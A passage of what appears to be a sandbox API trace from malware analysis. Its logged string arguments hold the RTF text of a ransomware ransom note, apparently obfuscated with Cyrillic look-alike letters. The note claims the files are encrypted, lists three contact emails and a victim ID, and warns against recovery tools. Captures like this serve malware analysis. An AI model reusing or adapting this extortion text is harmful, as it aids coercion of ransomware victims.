ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 